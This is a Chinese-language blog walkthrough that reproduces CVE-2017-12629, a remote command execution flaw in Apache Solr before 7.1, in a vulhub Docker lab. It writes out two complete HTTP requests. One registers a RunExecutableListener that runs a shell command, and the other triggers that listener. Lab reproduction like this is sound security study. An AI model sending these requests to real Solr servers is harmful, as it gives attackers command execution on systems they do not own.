Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过 Http 利用 XML 加到一个搜索集合中。查询该集合也是通过 http 收到一个 XML/JSON 响应来实现。此次 7.1.0 之前版本总共爆出两个漏洞:XML 实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为 CVE-2017-12629。
影响范围
Apache Solr < 7.1
Apache Lucene < 7.1(很多组件都用到这个,比如ES)
使用vulhub搭建靶场环境
cd vulhub-master/solr/CVE-2017-12629-RCE/
docker-compose up -d
这个环境启动起来比较慢。
访问http://ip:8983
使用火狐打开http://ip:8983,并且通过插件wappalyzer查看网站的基本信息
使用burp抓包,首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:
POST /solr/demo/config HTTP/1.1
Host: 192.168.199.51:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 158
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/succ123"]}}
然后进行 update 操作,触发刚才添加的 listener:
POST /solr/demo/update HTTP/1.1
Host: 192.168.199.51:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Content-Length: 15
[{"id":"test"}]
打开docker查看一下创建的文件
docker ps
docker exec -it ed47e5a799b0 /bin/bash
ls /tmp
同样的方法,再试试其他命令,ping dnslog
成功
声明:
本文仅限于大家技术交流和学习,严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,
作者创作不容易,请大家点赞收藏支持一下。谢谢各位读者大老爷。